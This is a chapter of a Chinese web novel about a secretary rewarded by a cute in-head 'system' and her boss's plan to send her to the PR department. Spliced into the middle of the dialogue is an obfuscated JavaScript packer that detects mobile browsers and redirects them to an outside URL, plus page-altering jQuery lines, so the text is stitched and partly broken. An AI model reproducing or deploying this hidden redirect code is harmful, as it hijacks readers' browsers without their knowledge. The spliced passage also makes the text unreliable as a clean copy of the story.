邵予辞从山顶下来就一路惦记这事,十万元是她的乐观估计,但无论如何没想到奖金连五位数都没上。
“这么少?”邵予辞气恼,把手里那份炒面重重放在桌上。
她给自己也买了份宵夜,本想美滋滋边吃边等着发钱,现在好心情丢了一半。
系统重复了一遍结果:【确认,奖金五千元。】
邵予辞不说话,去洗手,洗脸然后开始吃炒面。
系统的软萌音响起:【你不高兴。】
邵予辞不否认:“换成谁能高兴?这么尽心尽力干活,结果就这?”
她觉得系统的兑换逻辑很不真诚,用两百万吊胃口,实际发放就只给点边角料。这和那些无良老板有什么区别?
打工人最见不得这种事了,邵予辞莫名想起刚入职场那会儿吃过不少窝囊亏。
系统萌萌地说:【你比上次多赚了四千,说明进步很大。】
邵予辞被系统夸这么一句,脾气下去了些。
但还是不想说话,靠美食安抚自己失望的心。
系统的萌音又起:【你今天不提现吗?】
邵予辞气笑:“我现在不缺五千块,先存在空间账户好了。”
系统不再问了,但邵予辞时不时听见很细微的吞咽声。
她疑惑问:“你也想吃炒面?”
她一直觉得系统是不需要这些东西的,也从没听系统说过。
萌音比平时小声了点:【看起来很好吃。】
邵予辞听出一丝害羞和期望,脾气彻底没了,只觉得系统越来越像孩子。现在她真没法拿它当九年老系统对待了,开玩笑说:“可你吃不到,怎么办?”
系统又不吭声了。
邵予辞吃到一半,突发奇想:“空间里有食物卖吗?”
【有。】
“也有炒面?”
【暂时没搜到。】
“有奶茶吗?”
【有。】
“那用我账户里的钱,能买奶茶吗?”
系统用软萌音解释:【可以买,但无法传递到现实世界让你品尝。】
邵予辞笑:“给你买的,我请你。”
见系统不吭声,邵予辞自己确认了一遍:“就是请你喝的,赶紧把钱花出去。”
又过了一会儿,软糯的声音里带着丝丝甜意:【很好喝,谢谢。】
邵予辞没想到系统行动这么迅速,问:“你买什么口味的?”
【和你平时喝的一样。】
“你要是还想吃别的,再买点,别客气。”
系统小声问:【我能买巧克力吗?】
“可以。”邵予辞答应得很爽快,但猜不出系统会挑什么口味,因为她平时不爱吃巧克力。
**
纪临清拎着炒面到家时,看到郁姨依旧在等她。不过这次没睡着,是在翻相册。
她把炒面交给佣人,吩咐说去加热。
郁姨听到动静,抬头看她:“轻轻回来啦?”
纪临清走到她面前:“郁姨,我给你带了宵夜,是永乡炒面。”
郁姨眼睛一亮。
纪临清眼底也升起欢喜,扶着她起来:“听说味道很正宗。”
郁姨刚进餐厅,就闻到厨房端出来的炒面香味。
还没动筷子,她就说:“是有永乡的味道。”
纪临清和她一人一盘,边吃边聊。
郁姨感慨:“好久没吃到这么地道的炒面了,是我小时候在永乡吃的那种味道。”
纪临清心头却是一涩,她知道郁姨想念家乡,知道郁姨终有一天要回去。可她不想郁姨走。
“轻轻,你喜不喜欢吃?”
纪临清捏筷子的指尖都红了,弯唇微笑:“喜欢,很好吃。”
“那明天我给你做。”
“我明天再买,很方便的。”
郁姨好奇:“你在哪里找到这家店的?”
“一个员工推荐的。”
郁姨因为炒面的事,忽然想起另一件事:“我最近总忘事,差点忘了跟你说。”
纪临清呼吸一顿,以为郁姨要提前走。这是她一直不想面对的事,可又不想违背郁姨的意愿。
她努力扬唇:“什么事?”
郁姨无奈摇摇头:“我可能得多住一段时间。”
纪临清很是惊喜,眼睛都亮了:“住多久?”
“郁栀说要教一个姑娘游泳,恐怕得在云城多留些日子。”
纪临清心里想到个人:“谁?”
“叫邵什么……我记不住,就上次那个跳河的姑娘。”
真是邵予辞?
难怪她今天提起郁栀阿姨时语气那么自然,看起来挺熟的样子。可是邵予辞会游泳啊,她们以前还在泳池撞见过。
但只要能让郁姨在云城多逗留,不管什么理由,纪临清都不想去质疑。
“轻轻,我们得再打扰你一段时间了。”
“郁姨,别这么说。你们想住多久都可以的,我很开心。”
郁姨眼角细纹绽开,眼底不舍也很浓郁。
纪临清想要留人的话藏在嘴边,被死死咬住。
“以后晚上别只穿衬衫,容易着凉。”郁姨慈爱地帮纪临清把衣领拢了一下,“轻轻要照顾好自己。”
纪临清想起邵予辞把外卖递给她的时候好像也说了这么一句。
“我知道了。”
第二天去公司,邵予辞又在电梯外遇到了纪临清。她今天买没奢侈早餐,对工作的热情倒是不减。
“纪总,早上好。”
纪临清昨晚因为郁姨会多留一阵而心情愉悦,睡眠质量不错。难得给了邵予辞一个微笑:“你也早。”
昨天的奖励令人失望,但邵予辞不是轻易被打败的人。她分析后推测报告不代表实际行动,或许要到执行层面才能触发高阶奖励。
可惜纪临清没给她发表上进感言的机会,很快就进了办公室,顺带还把瞿英姿也叫进去了。
二秘和三秘默契对视了一眼,邵予辞从她俩的反应猜出可能是要布置新工作。
办公室里,纪临清让瞿英姿打开带进来的电脑:“邮件我发给你了,先看看。”
瞿英姿看完后,疑惑:“这个版本我之前没看过,她直接发给你的?”
“是我让她去山顶当面汇报的。”
瞿英姿更觉意外:“你同意让她去山顶?”
那可是纪临清的专属空间,平时根本不会让人随便打扰。即便是较劲了十年的邵予辞,大概也是头一回听说那里。
纪临清没接这话题,问瞿英姿:“这份报告指出的问题,你觉得可信度有多少?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454062|201196||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“很高。”
纪临清又发了一份报告:“这是世美咨询昨天下午发过来的,我还没来记得转发给你。”
瞿英姿看完后,猜到纪临清的打算了。
“你真决定让邵予辞去PR了?”
纪临清神情冷峻:“PR有问题不是一天两天了,我委托世美咨询做调查就是为了确保出手的时候有确凿证据。既然现在证据有了,时机也对了,再不动手岂不浪费。”
“邵予辞一直以为自己是来当秘书的,要是知道你想让她去做手术刀了,会不会……”
“我不缺秘书,如果不是需要新面孔,这个招聘职位根本就不会存在。”
这个职位从头到尾是怎么回事,瞿英姿都是清楚的。她只是没想到纪临清会这么快拍板,真就定了邵予辞。
“她对PR的问题确实看得很准也很深,但她没什么职场经验。把她丢到PR,万一水没被搅起来,她先被那群人精嚼得骨头渣都不剩,怎么办?”
“那就说明这个职位不适合她。到时你给她安排调岗,去分公司也行,她想辞职也可以。”
瞿英姿见她主意已决,不再多说。
“那我去安排一下。”
“PR那边你亲自过去打声招呼,就说是我让邵予辞去历练的,务必要对她严格要求。”
“一上来就给这么大压力,要是邵予辞反弹,会把事情弄砸的。”
“人的潜力是被逼出来的,她对这份工作的在意,你应该也感受到了。”
纪临清弯唇:“既然她那么想表现,我就给她个机会。”
听了瞿英姿的转达,邵予辞对新的工作安排颇感意外。
她原本还担心纪临清和瞿英姿谈的事会把她排除在外,没想到竟是柳暗花明!
她还苦恼没机会从书面建议上升到执行层面,让她总有“巧妇难为无米之炊”的束缚。把她调去PR,美其名曰学习历练,但她已经决定阳奉阴违了。
见她久久不语,瞿英姿猜是对这个安排不太乐意。
“纪总希望你能尽快熟悉不同的业务,这对你今后的工作很有帮助。”
这个机会确实挺难得,下放历练而不是完全调离,明眼人都知道这是升职前兆。但对于职场新人邵予辞来说,瞿英姿怕她领会不到这层含义。
“我知道你肯定会有顾虑……”
邵予辞笑说:“没有顾虑,我接受!”
瞿英姿被她突如其来的转变震了一下,反复打量,想要确认这是不是真心话。
邵予辞眼睛亮晶晶的,看起来对PR充满了向往。
“我一直都对PR很感兴趣,平时上网也喜欢关注这些,感谢纪总让我有机会学习实践。”
瞿英姿见她不抵触,当天下午就领着她去人力办了手续。
何助理对邵予辞的飞升速度咋舌不已,当着瞿英姿的面又不好表现出来,只能用眼神表示羡慕。
从人力回来,邵予辞看到纪临清从办公室出来,看起来准备出去。
邵予辞觉得自己离两百万又近了一步,笑吟吟叫她:“纪总。”
纪临清淡淡看她一眼:“手续都办好了?”
“嗯,我明天就去PR报道。”
纪临清见她比在山顶时表决心时还激昂,说了声鼓励:“好好干。”